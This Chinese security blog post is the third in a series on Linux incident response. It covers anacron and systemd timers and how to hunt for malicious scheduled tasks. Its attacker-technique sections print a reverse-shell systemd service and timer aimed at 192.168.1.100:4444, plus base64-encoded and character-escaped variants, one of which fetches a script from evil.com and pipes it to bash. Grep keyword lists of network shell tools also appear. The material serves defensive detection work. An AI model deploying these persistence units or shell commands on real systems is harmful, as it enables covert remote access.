🔖 在上两节《[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)》、《[02]应急响应-Linux 计划任务与 DFIR 排查实践(二)》中,我们深入探讨了 cron 、at服务,从基础排查到隐藏任务的分析排查,这一节我们再一块看看anacron和Systemd Timers服务。
0x00 免责声明
本公众号文章中的程序、方法、信息和工具仅用于安全研究、教学、网络安全人员对网站及服务器的检测维护,禁止用于其他非法用途。使用者对不当使用造成的后果承担全部法律及连带责任,作者和公众号不担责。文中安全漏洞情报依公开信息整理,据此行动风险自担,如有侵权请告知。
0x02 anacron 服务
2.1 工作机制
-
设计用于非全天候运行的系统,保证错过的任务会在系统恢复后运行。
-
Anacron 会检查每个任务的运行周期和上次运行的时间戳。
-
如果任务未按计划执行,它将在系统启动后立即补执行任务。
-
默认配置文件位于
/etc/anacrontab
。 -
/var/spool/anacron/,存储任务状态的目录,它包含的文件记录了最近一次执行每类任务的时间戳。
/var/spool/anacron/
中记录的时间戳对应PERIOD
字段,确保任务不会重复执行。
2.2 配置文件示例
PERIOD DELAY IDENTIFIER COMMAND
1 5 cron.daily run-parts /etc/cron.daily
# 字段解释:
# PERIOD:任务的执行周期,单位为“天”。
# 1 表示该任务每天执行一次。
# 如果是 7,则表示任务每周执行一次。
# 如果是 30,则任务每月执行一次。
# DELAY:延迟时间,单位为“分钟”。
# 表示任务在指定周期触发后,等待多久再执行。
# 示例中 5 意味着 Anacron 会在系统开机后 5 分钟执行该任务。
# IDENTIFIER:任务的标识符(名称)。
# 用于日志记录和跟踪。
# 示例中的 cron.daily 是任务的名称,与相关目录 /etc/cron.daily 保持一致。
# COMMAND:需要执行的命令。
# 示例中 run-parts /etc/cron.daily 是一个常用的工具,它会递归执行 /etc/cron.daily 目录中的所有脚本文件。
2.3 常用命令
1. 查看 anacron
任务列表
grep -v '^#' /etc/anacrontab
显示 /etc/anacrontab
文件中所有非注释的行,即所有 anacron
的任务列表。
2. 编辑 anacron 任务
sudo crontab -e
或者直接编辑 /etc/anacrontab
文件:
sudo nano /etc/anacrontab
用于编辑 anacron
的任务列表。
3. 手动运行 anacron 任务
sudo anacron -s
以静默模式运行 anacron
,不发送邮件报告。
4. 查看 anacron 日志
grep anacron /var/log/syslog
grep anacron /var/log/messages
2.4 排查方法🎯
-
检查配置文件:
cat /etc/anacrontab
ls -l /etc/cron.{daily,weekly,monthly}
关注点:
-
是否有异常脚本被添加到:
/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly。
-
检查是否有非系统常见任务,如未知文件或脚本。
🔖注:
cron
和 anacron
都使用 /etc/cron.*/*
,但处理方式不同:
-
/etc/cron.hourly/
:仅由cron
调度。 -
/etc/cron.daily/
、/etc/cron.weekly/
和/etc/cron.monthly/
:可被cron
和anacron
使用。 -
实际归属取决于系统中
cron
和anacron
的启用情况以及任务调度的时间要求。
-
搜索敏感关键词
扫描 anacron
相关目录中的脚本是否包含恶意命令或行为模式:
grep -Ei "(wget|curl|bash|python|nc|perl|sh|ftp|scp|tftp|telnet|openssl|base64|eval|exec|chmod|chown|mkfifo|tcpdump)" /etc/cron.*/* /etc/anacrontab
关键词:涵盖了可能被攻击者用于渗透、反向连接、数据传输或隐藏恶意操作的命令。
-
查看任务日志:
grep 'anacron' /var/log/syslog # Ubuntu、Debian 等默认使用
grep 'anacron' /var/log/messages # CentOS、RHEL 等默认使用
同时:
grep 'anacron' /var/log/syslog /var/log/messages
关注点:
-
是否有异常任务的执行记录。
-
是否有未知用户触发
anacron
。
-
检查最近的任务修改
确认 anacron
的配置文件或关联任务脚本最近是否被修改过:
find /etc/cron.* /etc/anacrontab -type f -mtime -7 -ls
输出分析:
-
查看是否有任务在短时间内被修改。
-
对修改过的文件使用
diff
或直接阅读其内容。
-
验证任务完整性
如果系统支持包验证,可以检查相关配置是否被篡改:
rpm -V cronie-anacron
debsums -c cronie-anacron
0x03 Systemd Timers
3.1 Systemd Timers介绍
Systemd Timers
是 Linux 系统中基于 systemd 的计划任务管理工具,旨在取代传统的 cron
。它通过 systemd 的服务管理机制提供更灵活、更强大的计划任务功能。它通过 .timer
单元文件定义定时任务,并结合 .service
单元文件执行具体的操作。
Systemd Timers 的优点
-
精确控制:支持秒级调度,并能结合
OnBootSec
、OnCalendar
等实现复杂的定时规则。 -
事件驱动:可根据特定事件(如系统启动后)触发任务。
-
日志与状态追踪:通过
journalctl
记录任务执行日志。 -
补执行:支持错过的任务自动补执行(类似
anacron
)。
核心组件
-
.timer
文件:定义任务的调度规则。 -
.service
文件:定义任务执行的具体操作。
3.2 Systemd Timers 配置及常用命令
-
配置systemd 定时器
配置一个 systemd
定时器涉及创建两个文件:一个是服务单元文件(.service
),另一个是定时器单元文件(.timer
)。
-
步骤 1: 创建服务单元文件
创建服务单元文件来定义当定时器触发时要执行的命令。例如,创建一个名为 mytimer.service
的文件:
sudo nano /etc/systemd/system/mytimer.service
在文件中添加以下内容:
[Unit]
Description=My Timer Service
[Service]
Type=oneshot
ExecStart=/usr/bin/echo "Hello, World!" > /tmp/hello.txt
服务执行一个简单的命令,将 "Hello, World!" 写入到 /tmp/hello.txt
文件中。
-
步骤 2: 创建定时器单元文件
创建定时器单元文件来定义服务的触发频率。例如,创建一个名为 mytimer.timer
的文件:
sudo nano /etc/systemd/system/mytimer.timer
在文件中添加以下内容:
[Unit]
Description=Run mytimer.service every minute
[Timer]
OnCalendar=*-*-* *:0/1:00:00
Persistent=true
[Install]
WantedBy=timers.target
这里,OnCalendar
设置为 *-*-* *:0/1:00:00
表示每分钟触发一次。Persistent=true
表示如果错过了触发时间,系统会在下次启动时尝试补执行。
-
步骤 3: 启动定时器并使其在启动时运行
启用并启动定时器:
sudo systemctl enable mytimer.timer
sudo systemctl start mytimer.timer
enable
命令使定时器在系统启动时自动运行,start
命令立即启动定时器。
-
步骤 4: 检查定时器状态
检查定时器的状态以确认它是否按预期工作:
sudo systemctl status mytimer.timer
-
步骤 5: 查看定时器日志
查看定时器的日志可以帮助你了解服务是否按计划执行:
sudo journalctl -u mytimer.timer
以上步骤创建了一个简单的定时器,它将每分钟执行一次定义在 mytimer.service
中的命令。你可以根据需要调整 ExecStart
和 OnCalendar
的值来执行不同的命令或设置不同的触发频率。
-
查看所有定时器
systemctl list-timers
# 使用 --all 参数,显示包括未激活的定时器。
输出示例:
NEXT LEFT LAST PASSED UNIT ACTIVATES
Sun 2024-11-24 18:00:00 UTC 29min left Sun 2024-11-24 17:00:00 UTC 30min ago backup.timer backup.service
3. 启动和停止定时器
-
启动定时器:
sudo systemctl start <timer-name>.timer
-
停止定时器:
sudo systemctl stop <timer-name>.timer
-
启用和禁用定时器
-
启用定时器(开机自动启动):
sudo systemctl enable <timer-name>.timer
-
禁用定时器:
sudo systemctl disable <timer-name>.timer
3.3 攻击者可能的利用方式
# 创建服务文件
[Unit]
Description=Reverse Shell
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
[Install]
WantedBy=multi-user.target" > /etc/systemd/system/reverse-shell.service
# 创建定时器文件
[Unit]
Description=Trigger Reverse Shell
[Timer]
OnBootSec=1min
Unit=reverse-shell.service
[Install]
WantedBy=timers.target" > /etc/systemd/system/reverse-shell.timer
# 启用并启动定时器
sudo systemctl enable reverse-shell.timer
sudo systemctl start reverse-shell.timer
3.4 排查方法
1. 检查非标准定时器
列出所有定时器,重点关注用户定义的 .timer
:
systemctl list-timers --all
注意排查未启用或已禁用但仍存在的定时器。
2. 排查 .timer 和 .service 文件
-
检查
/etc/systemd/system/
和/usr/lib/systemd/system/
目录下是否存在可疑文件。通常/usr/lib/systemd/system/
存放系统自带的.service
和.timer
,而/etc/systemd/system/
是用户或管理员配置的文件。 -
重点关注:
-
ExecStart 中是否包含恶意命令。
-
OnCalendar 是否设置为非常频繁的触发时间。
3. 检查新建文件
通过文件时间戳找到最近创建或修改的 .timer
和 .service
文件:
find /etc/systemd/system/ /usr/lib/systemd/system/ -type f -name "*.timer" -o -name "*.service" -mtime -7
4. 检查用户定时器
用户级别的 systemd 定时器,检查用户定时器目录:
ls ~/.config/systemd/user/
5. 查找关键字显示文件名和匹配行号:
grep -Ein "(curl|wget|bash|python|nc|perl)" /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/* 2>/dev/null
增强版:
grep -Ei "(curl|wget|bash|python|nc|perl|scp|ftp|rsync|tar|gzip|7z|ssh|telnet|socat|base64|eval|exec|nohup)" /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/* 2>/dev/null
6. 查看文件修改时间:
stat /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/*
关于 Systemd Timers 的隐藏手法,和上一节 cron 类似,这就简单介绍:
-
文件名混淆
-
通过选择与系统或常见服务类似的文件名进行伪装 ,如
sys-update.timer
、kernel-cleanup.timer
或backup.timer
。 -
加入难以察觉的字符,如使用 Unicode 类似字符(如
sуstem.timer
,其中的“у”为西里尔字母)。
-
文件路径隐藏
可能存放在非标准目录中,例如:
-
用户级别路径:
~/.config/systemd/user/
-
隐藏目录:
/etc/.systemd/
或/var/.system/
📌排查:
使用 find 命令递归检查可疑路径:
find /etc /usr /var -type f -name "*.timer" -o -name "*.service" -iname ".*"
检查用户目录中的定时器:
ls -la ~/.config/systemd/user/
3. 结合环境变量绕过检测
3. 结合环境变量绕过检测
攻击者可能通过 EnvironmentFile
加载恶意配置文件,或直接在服务中嵌入动态环境变量。例如:
EnvironmentFile=/etc/sysconfig/malicious.env
ExecStart=/bin/bash -c "$CMD"
其中,malicious.env
文件可能包含如下内容:
CMD='bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
📌排查:
-
检查定时器或服务文件是否引用外部配置文件。
-
搜索环境变量的关键字:
grep -Er "EnvironmentFile|Env"
/etc/systemd/system/
/usr/lib/systemd/system/
/lib/systemd/system/
~/.config/systemd/user/
~/.local/share/systemd/
/var/lib/systemd/
2>/dev/null
4.混淆命令
通过混淆执行命令来绕过关键字检测:
-
使用
base64
编码:
ExecStart=/bin/bash -c "$(echo d2dldCAtTyBodHRwOi8vZXZpbC5jb20gfCAvYmluL2Jhc2ggLWk= | base64 -d)"
利用符号替换:
ExecStart=/bin/bash -c "/bin/ba$'x73'h -i >& /dev/tcp/192.168.1.100/4444 0>&1"
小结🗯️
随着我们对 anacron 和 systemd timers 的探讨告一段落,本系列文章也接近尾声。掌握这些计划任务工具的原理和排查方法对于 DFIR 实践至关重要。感谢你的关注,期待未来与你再次探索 Linux 的更多可能。再见!✨
原文始发于微信公众号(Y1X1n安全):[03]应急响应-Linux 计划任务与 DFIR 排查实践(三)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论